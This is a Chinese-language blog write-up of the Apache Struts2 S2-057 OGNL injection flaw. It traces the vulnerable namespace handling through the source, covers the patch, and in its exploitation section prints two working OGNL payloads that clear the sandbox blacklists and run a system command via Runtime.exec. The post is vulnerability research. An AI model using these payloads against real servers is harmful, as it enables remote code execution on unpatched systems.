struts2系列漏洞 S2-057

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

这个就是最后一个了。


环境搭建

2.3.34 版本 struts2 + Tomcat 9。

修改 struts.xml:

1
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

漏洞分析

阅读官方通告漏洞发现者的文章,设置一个 redirectAction 的 result:

1
2
3
<result name="success" type="redirectAction">
<param name="actionName">login!update.action</param>
</result>

然后全局搜索用到 alwaysSelectFullNamespace 这个布尔的地方,找到 DefaultActionMapper 类的 parseNameAndNamespace 函数:

1
2
3
4
5
6
7
8
9
...
else if (alwaysSelectFullNamespace) {
// Simply select the namespace as everything before the last slash
namespace = uri.substring(0, lastSlash);
name = uri.substring(lastSlash + 1);
}
...
mapping.setNamespace(namespace);
mapping.setName(cleanupActionName(name));

看到 mapping.setName 这里,namespace 没有经过校验,存在 OGNL 表达式注入的可能,可以联想到之前 setResult、setMethod 导致的问题,按照经验继续搜索 mapping.getNamespace、proxy.getNamespace、getProxy().getNamespace 等调用,可以找到 3 个类,分别是:

1
2
3
ServletActionRedirectResult
PostbackResult
ActionChainResult

先看 ServletActionRedirectResult 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void execute(ActionInvocation invocation) throws Exception {
actionName = conditionalParse(actionName, invocation);
if (namespace == null) {
namespace = invocation.getProxy().getNamespace();
} else {
namespace = conditionalParse(namespace, invocation);
}
if (method == null) {
method = "";
} else {
method = conditionalParse(method, invocation);
}

String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));

setLocation(tmpLocation);

super.execute(invocation);
}

super.execute 会往上来到 StrutsResultSupport 类:

1
2
3
4
public void execute(ActionInvocation invocation) throws Exception {
lastFinalLocation = conditionalParse(location, invocation);
doExecute(lastFinalLocation, invocation);
}

同样很眼熟,会将 location,即用 namespace 和其他数据拼接成的路径当作表达式进行解析,触发了漏洞。

接下来看 PostbackResult 类,可以看到逻辑基本一致:

1
2
3
4
5
6
@Override
public void execute(ActionInvocation invocation) throws Exception {
String postbackUri = makePostbackUri(invocation);
setLocation(postbackUri);
super.execute(invocation);
}

makePostbackUri 函数拼接,然后 execute 触发。

最后看看 ActionChainResult 类:

1
2
3
4
5
6
7
8
9
10
public void execute(ActionInvocation invocation) throws Exception {
// if the finalNamespace wasn't explicitly defined, assume the current one
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
}

ValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(namespace, stack);
...
}

可以看到调用了 translateVariables 函数,直接把 namespace 当作表达式来用了。

漏洞利用

2.3.34 版本中 #context 无法使用了(如果是 2.5.10 版本之后的,黑名单也无法用 clear 来清空了),所以需要另寻他法。

阅读参考文章,#context 可以用 #attr 来替代,clear 可以用 setter 来替代,最后的 payload 为两步,先清空黑名单:

1
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

然后执行命令:

1
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))

2.3.x 版本的无法使用这个 payload,因为 setter 跟 2.5.x 有一点差别:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 2.5.x
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
Set<Class<?>> classes = new HashSet<>();

for (String className : classNames) {
try {
classes.add(Class.forName(className));
} catch (ClassNotFoundException e) {
throw new ConfigurationException("Cannot load excluded class: " + className, e);
}
}

excludedClasses = Collections.unmodifiableSet(classes);
}

// 2.3.x
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classes = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
for (String className : classes) {
try {
excludedClasses.add(Class.forName(className));
} catch (ClassNotFoundException e) {
throw new ConfigurationException("Cannot load excluded class: " + className, e);
}
}
}

可以看到少了最后的一句:

1
excludedClasses = Collections.unmodifiableSet(classes);

所以调用 setter 无法清空黑名单。

漏洞修复

给 namespace 加上了校验:

1
2
3
protected Pattern allowedNamespaceNames = Pattern.compile("[a-zA-Z0-9._/\\-]*");
...
mapping.setNamespace(cleanupNamespaceName(namespace));

参考文章:

https://xz.aliyun.com/t/3395

https://xz.aliyun.com/t/2618


struts2系列漏洞 S2-057
http://yoursite.com/2020/08/04/struts2系列漏洞-S2-057/
作者
Aluvion
发布于
2020年8月4日
许可协议